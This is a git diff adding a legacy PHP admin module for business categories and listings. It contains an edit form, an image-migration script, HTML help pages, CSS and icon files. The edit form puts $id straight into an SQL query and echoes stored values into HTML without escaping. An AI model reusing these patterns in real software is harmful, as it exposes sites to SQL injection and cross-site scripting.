+    $row = db_fetch_array($res,0, PGSQL_ASSOC);
+    if(!$row[id]) {
+        html_error(DB_ERROR_MSG,1);
+    }
+} else {
+    if( DELUXE_TOOLBOX == 1 ) {
+        $row = array(
+            "category" => "",
+            "intro" => "",
+            "parent" => "",
+            "description" => "",
+            "image" => ""
+            );
+    } else {
+        $row = array(
+            "category" => "",
+            "intro" => "",
+            "parent" => "",
+            "description" => "",
+            "image" => ""
+            );
+    }
+}
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+form_header("update_bus_category.phtml?".SID,"POST","");
+echo '<table id="admin-edit-table">';
+
+foreach($row as $key=>$value) {
+       switch($key) {
+
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+
+               case "pos":
+                       echo "<input type=\"hidden\" name=\"oldpos\" value=\"$value\">";
+               break;
+
+               case "parent":
+                       echo "<tr><td>
+                       <input type=\"hidden\" name=\"oldparent\" value=\"$value\">
+                       Parent&nbsp;Page:</td>";
+               $output = parent_select($value,$id);
+       if(!$dbd = db_connect( CONN2_STR )) html_error(DB_ERROR_MSG, 1);
+               echo "<td>".$output."</td>";
+               echo "</tr>";
+               break;
+
+               case "category":
+                       echo "<tr><td>Page&nbsp;Name:</td>";
+               text_box("category",$value);
+               echo "</tr>";
+               break;
+
+               case "imagename":
+                       echo "<tr><td>Image&nbsp;Caption:</td>";
+               text_box("imagename",$value);
+               echo "</tr>";
+               break;
+
+               case "intro":
+                       echo "<tr><td>Page&nbsp;Header:</td>";
+               text_box("intro",$value);
+               echo "</tr>";
+               break;
+
+               case "image":
+                       echo "<tr><td>Current&nbsp;Image:</td>";
+               echo "<td>
+                       <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+               if($value != "") {
+                       echo "<img src=\"".MIDSIZED."$value\">
+                               </td>
+                               <tr>
+                               <td >Delete this image:</td>
+                               <td>
+                               <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+                               <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+                               </td>
+                               </tr>";
+               }
+               echo "<tr><td>
+                       New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+               break;
+
+               case "description":
+                       echo "<tr><td>Description:</td>";
+        echo '<td><textarea name="description" id="description" cols="60" rows="60">'.$value.'</textarea></td>';
+               echo "</tr>";
+               break;
+
+               case "keyword":
+                       echo "<tr><td><font color=red>Keyword:</font></td>";
+               text_box("keyword",$value);
+               echo "</tr>";
+               break;
+
+               case "template":
+                       echo "<tr><td>Template:</td>";
+               echo "<td>
+                       <table cellpadding=\"3\" cellspacing=\"0\" border=0>
+                       <tr>
+                       <td><img src=\"../template1.gif\"></td>
+                       <td><img src=\"../template2.gif\"></td>
+                       <td><img src=\"../template3.gif\"></td>
+                       <td><img src=\"../template4.gif\"></td>
+                       <td><img src=\"../template5.gif\"></td>
+                       </tr>
+                       <tr>
+                       <td>";
+               echo "1<input type=\"radio\" name=\"template\" value=\"1\" ";
+               if($value=="1")
+                       echo "checked";
+               echo ">";
+               echo "</td>
+                       <td>";
+               echo "2<input type=\"radio\" name=\"template\" value=\"2\" ";
+               if($value=="2")
+                       echo "checked";
+               echo ">";
+               echo "</td>
+                       <td>";
+               echo "3<input type=\"radio\" name=\"template\" value=\"3\" ";
+               if($value=="3")
+                       echo "checked";
+               echo ">";
+               echo "</td>
+                       <td>";
+               echo "4<input type=\"radio\" name=\"template\" value=\"4\" ";
+               if($value=="4")
+                       echo "checked";
+               echo ">";
+               echo "</td>
+                       <td>";
+               echo "5<input type=\"radio\" name=\"template\" value=\"5\" ";
+               if($value=="5")
+                       echo "checked";
+               echo ">";
+               echo "</td>
+                       </tr>
+                       </table>
+                       </td></tr>";
+               break;
+
+               default:
+               html_error("Incorrect Value -> ".$key,1);
+               break;
+       }
+}
+
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+if(isset($id)) {
+       $qs = "SELECT   count(*) as count
+               FROM    bus_category_bus
+               WHERE   catid = $id";
+
+       if(!$res = db_exec($dbd,$qs))
+               html_error(DB_ERROR_MSG.$qs,0);
+
+       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+       ?>
+               <tr><td colspan=2>
+               <input type="submit" name="Command" value="Update">
+               <input type="submit" name="Command" value="Cancel">
+               <?
+               if(!CAT_LOCK && !check_lock($id)) {
+                       ?>
+                               <input type="submit" name="Command" value="Delete" onClick="
+                               <?if($row[count]==0) {?>
+            if(confirm('This will delete this category!\n Are you sure?'))
+                return(true);
+            else
+                return(false);
+        <?} else {?>
+            alert('You have to remove any records in\n this category first');
+            return(false);
+        <?}?>
+            ">
+        <?
+               }
+       ?>
+               </td></tr>
+               <?
+}
+else {
+       form_footer("Insert","",2);
+}
+echo "</table></form>";
+
+footer();
+?>
diff --git a/admin/portfolio/export-images-is0.php b/admin/portfolio/export-images-is0.php
new file mode 100755 (executable)
index 0000000..d462391
--- /dev/null
@@ -0,0 +1,97 @@
+<?php
+require_once '../../setup.phtml';
+require_once BASE.'Toolkit/Image/Server.php';
+try {
+    $dsn = 'pgsql:' . CONN2_STR;
+    // Keep the fetch mode set to FETCH_BOTH, we use
+    // associative arrays throughout our apps, but some PEAR lib
+    // apps require numerical indicies to work correctly.
+    // i.e. (DataGrids working w/ PDO's)
+    $driverOptions = array(
+        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_BOTH,
+    );
+    $db2h = new PDO($dsn, null, null, $driverOptions);
+    $db2h->setAttribute(PDO::ATTR_ERRMODE,
+        PDO::ERRMODE_EXCEPTION);
+    $db2h->query("SET DATESTYLE TO 'SQL,US'");
+} catch (PDOException $e) {
+    Toolkit_Common::handleError($e);
+}
+define('OLDORG', 'http://www.gaslightmedia.com/images/original/');
+$sql = "
+SELECT id,image
+FROM bus_category
+WHERE image != ''
+ORDER BY id";
+//$sql .= " LIMIT 1 OFFSET 0";
+$pre1 = "
+SELECT id,image
+FROM bus
+WHERE image != ''";
+//$pre1 .= " LIMIT 1 OFFSET 0";
+try {
+    $stmt  = $db2h->query($sql);
+    $data  = $stmt->fetchAll(PDO::FETCH_ASSOC);
+    $stmt2 = $db2h->query($pre1);
+    $data2 = $stmt2->fetchAll(PDO::FETCH_ASSOC);
+    echo '<pre>';
+    print_r($data);
+    print_r($data2);
+    echo '</pre>';
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+$db2h->beginTransaction();
+$IServer = new Toolkit_Image_Server();
+if (is_array($data)) {
+    $prep2 = "
+    UPDATE bus_category
+    SET    image = :image
+    WHERE  id = :id";
+    $stmt3 = $db2h->prepare($prep2);
+
+    foreach ($data as &$row) {
+        $image_URL = OLDORG.$row['image'];
+        $image = $IServer->imageUpload($image_URL);
+        if ($image) {
+            try {
+                $stmt3->bindParam(":image", $image, PDO::PARAM_STR);
+                $stmt3->bindParam(":id", $row['id'], PDO::PARAM_INT);
+                $stmt3->execute();
+            } catch(PDOException $e) {
+                die($e->getMessage());
+            }
+        }
+        echo '<br>Image Name Returned: ';
+        var_dump($image);
+    }
+}
+if (is_array($data2)) {
+    $prep3 = "
+    UPDATE bus
+    SET    image = :image
+    WHERE  id = :id";
+    $stmt4 = $db2h->prepare($prep3);
+    foreach ($data2 as &$row2) {
+        echo '<pre>'.print_r($row2, true).'</pre>';
+        if (preg_match("/^is/",$row2['image'])) {
+            continue;
+        }
+        $image_URL = OLDORG.$row2['image'];
+        echo '<pre>'.print_r($image_URL, true).'</pre>';
+        $image = $IServer->imageUpload($image_URL);
+        if ($image) {
+            try {
+                $stmt4->bindParam(":image", $image, PDO::PARAM_STR);
+                $stmt4->bindParam(":id", $row2['id'], PDO::PARAM_INT);
+                $stmt4->execute();
+            } catch(PDOException $e) {
+                die($e->getMessage());
+            }
+        }
+        echo '<br>Image Name Returned: ';
+        var_dump($image);
+    }
+}
+$db2h->commit();
+?>
diff --git a/admin/portfolio/help/bus.phtml b/admin/portfolio/help/bus.phtml
new file mode 100644 (file)
index 0000000..7676d61
--- /dev/null
@@ -0,0 +1,186 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Listings</h4>
+
+<P>
+This page lists the existing Listings.
+</p>
+<p>
+<b>Add A New Listing</b>
+</p>
+<p>This link will allow you to add new Listing</p>
+<p>
+<b>List Listings</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Listing</p>
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Listing</h4>
+<P>
+This page is for editing and modifying an existing Listing in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Listings" page.
+</p>
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing.  Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://. 
+</p>
+<p>
+<b>Picture for Listing:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Listing. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">ADD an Link</h4>
+<P>
+This page is for Adding Links in the database.
+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Links" page.
+</p>
+
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing.  Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://. 
+</p>
+
+<p>
+<b>Picture for Link:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Link. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+       break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/portfolio/help/buscat.phtml b/admin/portfolio/help/buscat.phtml
new file mode 100644 (file)
index 0000000..69e4785
--- /dev/null
@@ -0,0 +1,159 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Categories</h4>
+<P>
+This page lists the existing Listings Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[Listings]</b>
+</p>
+<p>
+This link will list out the Listings Items associated with a particular Category
+</p>
+<p>
+<h1><b>Notice:</b></h1>The categories are Displayed in a order based on there
+hierarchy.
+</p>
+
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Listings Categories in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro.
+</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Category.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the 0,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Listings Categories in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the information you want for the 0,
+you can click "Insert." This will add the information about the new Category
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/portfolio/help/closewindow.gif b/admin/portfolio/help/closewindow.gif
new file mode 100644 (file)
index 0000000..c54ed89
Binary files /dev/null and b/admin/portfolio/help/closewindow.gif differ
diff --git a/admin/portfolio/help/helpbg.gif b/admin/portfolio/help/helpbg.gif
new file mode 100644 (file)
index 0000000..0b62415
Binary files /dev/null and b/admin/portfolio/help/helpbg.gif differ
diff --git a/admin/portfolio/htmlarea.css b/admin/portfolio/htmlarea.css
new file mode 100644 (file)
index 0000000..23bdf7d
--- /dev/null
@@ -0,0 +1,180 @@
+.htmlarea { background: #fff; }
+
+.htmlarea .toolbar {
+  cursor: default;
+  background: ButtonFace;
+  padding: 1px 1px 2px 1px;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar table { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+.htmlarea .toolbar img { border: none; }
+.htmlarea .toolbar .label { padding: 0px 3px; }
+
+.htmlarea .toolbar .button {
+  background: ButtonFace;
+  color: ButtonText;
+  border: 1px solid ButtonFace;
+  padding: 1px;
+  margin: 0px;
+}
+.htmlarea .toolbar .buttonHover {
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar .buttonActive, .htmlarea .toolbar .buttonPressed {
+  padding: 2px 0px 0px 2px;
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+.htmlarea .toolbar .buttonPressed {
+  background: ButtonHighlight;
+}
+.htmlarea .toolbar .indicator {
+  padding: 0px 3px;
+  overflow: hidden;
+  width: 20px;
+  text-align: center;
+  cursor: default;
+  border: 1px solid ButtonShadow;
+}
+
+.htmlarea .toolbar .buttonDisabled { background-color: #aaa; }
+
+.htmlarea .toolbar .buttonDisabled img {
+  filter: alpha(opacity = 25);
+  -moz-opacity: 25%;
+}
+
+.htmlarea .toolbar .separator {
+  position: relative;
+  margin: 3px;
+  border-left: 1px solid ButtonShadow;
+  border-right: 1px solid ButtonHighlight;
+  width: 0px;
+  height: 16px;
+  padding: 0px;
+}
+
+.htmlarea .toolbar .space { width: 5px; }
+
+.htmlarea .toolbar select { font: 11px Tahoma,Verdana,sans-serif; }
+
+.htmlarea .toolbar select,
+.htmlarea .toolbar select:hover,
+.htmlarea .toolbar select:active { background: FieldFace; color: ButtonText; }
+
+.htmlarea .statusBar {
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+  padding: 2px 4px;
+  background-color: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.htmlarea .statusBar .statusBarTree a {
+  padding: 2px 5px;
+  color: #00f;
+}
+
+.htmlarea .statusBar .statusBarTree a:visited { color: #00f; }
+.htmlarea .statusBar .statusBarTree a:hover {
+  background-color: Highlight;
+  color: HighlightText;
+  padding: 1px 4px;
+  border: 1px solid HighlightText;
+}
+
+
+/* Hidden DIV popup dialogs (PopupDiv) */
+
+.dialog {
+  color: ButtonText;
+  background: ButtonFace;
+}
+
+.dialog .content { padding: 2px; }
+
+.dialog, .dialog button, .dialog input, .dialog select, .dialog textarea, .dialog table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.dialog table { border-collapse: collapse; }
+
+.dialog .title {
+  background: #008;
+  color: #ff8;
+  border-bottom: 1px solid #000;
+  padding: 1px 0px 2px 5px;
+  font-size: 12px;
+  font-weight: bold;
+  cursor: default;
+}
+
+.dialog .title .button {
+  float: right;
+  border: 1px solid #66a;
+  padding: 0px 1px 0px 2px;
+  margin-right: 1px;
+  color: #fff;
+  text-align: center;
+}
+
+.dialog .title .button-hilite { border-color: #88f; background: #44c; }
+
+.dialog button {
+  width: 5em;
+  padding: 0px;
+}
+
+.dialog .buttonColor {
+  padding: 1px;
+  cursor: default;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.dialog .buttonColor-hilite {
+  border-color: #000;
+}
+
+.dialog .buttonColor .chooser, .dialog .buttonColor .nocolor {
+  height: 0.6em;
+  border: 1px solid;
+  padding: 0px 1em;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+
+.dialog .buttonColor .nocolor { padding: 0px; }
+.dialog .buttonColor .nocolor-hilite { background-color: #fff; color: #f00; }
+
+.dialog .label { text-align: right; width: 6em; }
+.dialog .value input { width: 100%; }
+.dialog .buttons { text-align: right; padding: 2px 4px 0px 4px; }
+
+.dialog legend { font-weight: bold; }
+.dialog fieldset table { margin: 2px 0px; }
+
+.popupdiv {
+  border: 2px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.popupwin {
+  padding: 0px;
+  margin: 0px;
+}
+
+.popupwin .title {
+  background: #fff;
+  color: #000;
+  font-weight: bold;
+  font-size: 120%;
+  padding: 3px 10px;
+  margin-bottom: 10px;
+  border-bottom: 1px solid black;
+  letter-spacing: 2px;
+}
+
+form { margin: 0px; border: none; }
diff --git a/admin/portfolio/images/collapse.png b/admin/portfolio/images/collapse.png
new file mode 100644 (file)
index 0000000..d10e051
Binary files /dev/null and b/admin/portfolio/images/collapse.png differ
diff --git a/admin/portfolio/images/ed_about.gif b/admin/portfolio/images/ed_about.gif
new file mode 100644 (file)
index 0000000..d476271
Binary files /dev/null and b/admin/portfolio/images/ed_about.gif differ
diff --git a/admin/portfolio/images/ed_align_center.gif b/admin/portfolio/images/ed_align_center.gif
new file mode 100644 (file)
index 0000000..0966910
Binary files /dev/null and b/admin/portfolio/images/ed_align_center.gif differ
diff --git a/admin/portfolio/images/ed_align_justify.gif b/admin/portfolio/images/ed_align_justify.gif
new file mode 100644 (file)
index 0000000..94a1ea7
Binary files /dev/null and b/admin/portfolio/images/ed_align_justify.gif differ
diff --git a/admin/portfolio/images/ed_align_left.gif b/admin/portfolio/images/ed_align_left.gif
new file mode 100644 (file)
index 0000000..595eef6
Binary files /dev/null and b/admin/portfolio/images/ed_align_left.gif differ
diff --git a/admin/portfolio/images/ed_align_right.gif b/admin/portfolio/images/ed_align_right.gif
new file mode 100644 (file)
index 0000000..514a5e4
Binary files /dev/null and b/admin/portfolio/images/ed_align_right.gif differ
diff --git a/admin/portfolio/images/ed_blank.gif b/admin/portfolio/images/ed_blank.gif
new file mode 100644 (file)
index 0000000..d7ae406
Binary files /dev/null and b/admin/portfolio/images/ed_blank.gif differ
diff --git a/admin/portfolio/images/ed_charmap.gif b/admin/portfolio/images/ed_charmap.gif
new file mode 100644 (file)
index 0000000..b0dc889
Binary files /dev/null and b/admin/portfolio/images/ed_charmap.gif differ
diff --git a/admin/portfolio/images/ed_color_bg.gif b/admin/portfolio/images/ed_color_bg.gif
new file mode 100644 (file)
index 0000000..f6ff05d
Binary files /dev/null and b/admin/portfolio/images/ed_color_bg.gif differ
diff --git a/admin/portfolio/images/ed_color_fg.gif b/admin/portfolio/images/ed_color_fg.gif
new file mode 100644 (file)
index 0000000..90e5123
Binary files /dev/null and b/admin/portfolio/images/ed_color_fg.gif differ
diff --git a/admin/portfolio/images/ed_copy.gif b/admin/portfolio/images/ed_copy.gif
new file mode 100644 (file)
index 0000000..f598fa2
Binary files /dev/null and b/admin/portfolio/images/ed_copy.gif differ
diff --git a/admin/portfolio/images/ed_custom.gif b/admin/portfolio/images/ed_custom.gif
new file mode 100644 (file)
index 0000000..3c406a5
Binary files /dev/null and b/admin/portfolio/images/ed_custom.gif differ
diff --git a/admin/portfolio/images/ed_cut.gif b/admin/portfolio/images/ed_cut.gif
new file mode 100644 (file)
index 0000000..92972fc
Binary files /dev/null and b/admin/portfolio/images/ed_cut.gif differ
diff --git a/admin/portfolio/images/ed_delete.gif b/admin/portfolio/images/ed_delete.gif
new file mode 100644 (file)
index 0000000..1218349
Binary files /dev/null and b/admin/portfolio/images/ed_delete.gif differ
diff --git a/admin/portfolio/images/ed_format_bold.gif b/admin/portfolio/images/ed_format_bold.gif
new file mode 100644 (file)
index 0000000..3d01d0b
Binary files /dev/null and b/admin/portfolio/images/ed_format_bold.gif differ
diff --git a/admin/portfolio/images/ed_format_italic.gif b/admin/portfolio/images/ed_format_italic.gif
new file mode 100644 (file)
index 0000000..e8e1cb0
Binary files /dev/null and b/admin/portfolio/images/ed_format_italic.gif differ
diff --git a/admin/portfolio/images/ed_format_strike.gif b/admin/portfolio/images/ed_format_strike.gif
new file mode 100644 (file)
index 0000000..4885361
Binary files /dev/null and b/admin/portfolio/images/ed_format_strike.gif differ
diff --git a/admin/portfolio/images/ed_format_sub.gif b/admin/portfolio/images/ed_format_sub.gif
new file mode 100644 (file)
index 0000000..489f7a9
Binary files /dev/null and b/admin/portfolio/images/ed_format_sub.gif differ
diff --git a/admin/portfolio/images/ed_format_sup.gif b/admin/portfolio/images/ed_format_sup.gif
new file mode 100644 (file)
index 0000000..8e66b99
Binary files /dev/null and b/admin/portfolio/images/ed_format_sup.gif differ
diff --git a/admin/portfolio/images/ed_format_underline.gif b/admin/portfolio/images/ed_format_underline.gif
new file mode 100644 (file)
index 0000000..b05384e
Binary files /dev/null and b/admin/portfolio/images/ed_format_underline.gif differ
diff --git a/admin/portfolio/images/ed_help.gif b/admin/portfolio/images/ed_help.gif
new file mode 100644 (file)
index 0000000..4d66154
Binary files /dev/null and b/admin/portfolio/images/ed_help.gif differ
diff --git a/admin/portfolio/images/ed_hr.gif b/admin/portfolio/images/ed_hr.gif
new file mode 100644 (file)
index 0000000..92fc80e
Binary files /dev/null and b/admin/portfolio/images/ed_hr.gif differ
diff --git a/admin/portfolio/images/ed_html.gif b/admin/portfolio/images/ed_html.gif
new file mode 100644 (file)
index 0000000..380de29
Binary files /dev/null and b/admin/portfolio/images/ed_html.gif differ
diff --git a/admin/portfolio/images/ed_image.gif b/admin/portfolio/images/ed_image.gif
new file mode 100644 (file)
index 0000000..a715019
Binary files /dev/null and b/admin/portfolio/images/ed_image.gif differ
diff --git a/admin/portfolio/images/ed_indent_less.gif b/admin/portfolio/images/ed_indent_less.gif
new file mode 100644 (file)
index 0000000..6054d61
Binary files /dev/null and b/admin/portfolio/images/ed_indent_less.gif differ
diff --git a/admin/portfolio/images/ed_indent_more.gif b/admin/portfolio/images/ed_indent_more.gif
new file mode 100644 (file)
index 0000000..c5dd55d
Binary files /dev/null and b/admin/portfolio/images/ed_indent_more.gif differ
diff --git a/admin/portfolio/images/ed_link.gif b/admin/portfolio/images/ed_link.gif
new file mode 100644 (file)
index 0000000..0482da3
Binary files /dev/null and b/admin/portfolio/images/ed_link.gif differ
diff --git a/admin/portfolio/images/ed_list_bullet.gif b/admin/portfolio/images/ed_list_bullet.gif
new file mode 100644 (file)
index 0000000..7b07303
Binary files /dev/null and b/admin/portfolio/images/ed_list_bullet.gif differ
diff --git a/admin/portfolio/images/ed_list_num.gif b/admin/portfolio/images/ed_list_num.gif
new file mode 100644 (file)
index 0000000..ae4e03b
Binary files /dev/null and b/admin/portfolio/images/ed_list_num.gif differ
diff --git a/admin/portfolio/images/ed_paste.gif b/admin/portfolio/images/ed_paste.gif
new file mode 100644 (file)
index 0000000..6892053
Binary files /dev/null and b/admin/portfolio/images/ed_paste.gif differ
diff --git a/admin/portfolio/images/ed_redo.gif b/admin/portfolio/images/ed_redo.gif
new file mode 100644 (file)
index 0000000..2b5ebbd
Binary files /dev/null and b/admin/portfolio/images/ed_redo.gif differ
diff --git a/admin/portfolio/images/ed_show_border.gif b/admin/portfolio/images/ed_show_border.gif
new file mode 100644 (file)
index 0000000..23a01a4
Binary files /dev/null and b/admin/portfolio/images/ed_show_border.gif differ
diff --git a/admin/portfolio/images/ed_splitcel.gif b/admin/portfolio/images/ed_splitcel.gif
new file mode 100644 (file)
index 0000000..48442e2
Binary files /dev/null and b/admin/portfolio/images/ed_splitcel.gif differ
diff --git a/admin/portfolio/images/ed_undo.gif b/admin/portfolio/images/ed_undo.gif
new file mode 100644 (file)
index 0000000..05f041e
Binary files /dev/null and b/admin/portfolio/images/ed_undo.gif differ
diff --git a/admin/portfolio/images/expand.png b/admin/portfolio/images/expand.png
new file mode 100644 (file)
index 0000000..38dcfc0
Binary files /dev/null and b/admin/portfolio/images/expand.png differ
diff --git a/admin/portfolio/images/fullscreen_maximize.gif b/admin/portfolio/images/fullscreen_maximize.gif
new file mode 100644 (file)
index 0000000..0536fec
Binary files /dev/null and b/admin/portfolio/images/fullscreen_maximize.gif differ
diff --git a/admin/portfolio/images/fullscreen_minimize.gif b/admin/portfolio/images/fullscreen_minimize.gif
new file mode 100644 (file)
index 0000000..b12c3f7
Binary files /dev/null and b/admin/portfolio/images/fullscreen_minimize.gif differ
diff --git a/admin/portfolio/images/insert_table.gif b/admin/portfolio/images/insert_table.gif
new file mode 100644 (file)
index 0000000..4ce3ff4
Binary files /dev/null and b/admin/portfolio/images/insert_table.gif differ
diff --git a/admin/portfolio/import.php b/admin/portfolio/import.php
new file mode 100644 (file)
index 0000000..abca336
--- /dev/null
@@ -0,0 +1,58 @@
+<?php
+       //exit();
+/*
+* the old toolbox has three descriptions and three image fields one file,filename
+* also has header address(city,state,zip),phone,fax,email,url
+* for the images we'll just get the originals and resize them for the new sizes.
+*/
+require_once('../../setup.phtml');
+require_once(BASE.'classes/class_db.inc');
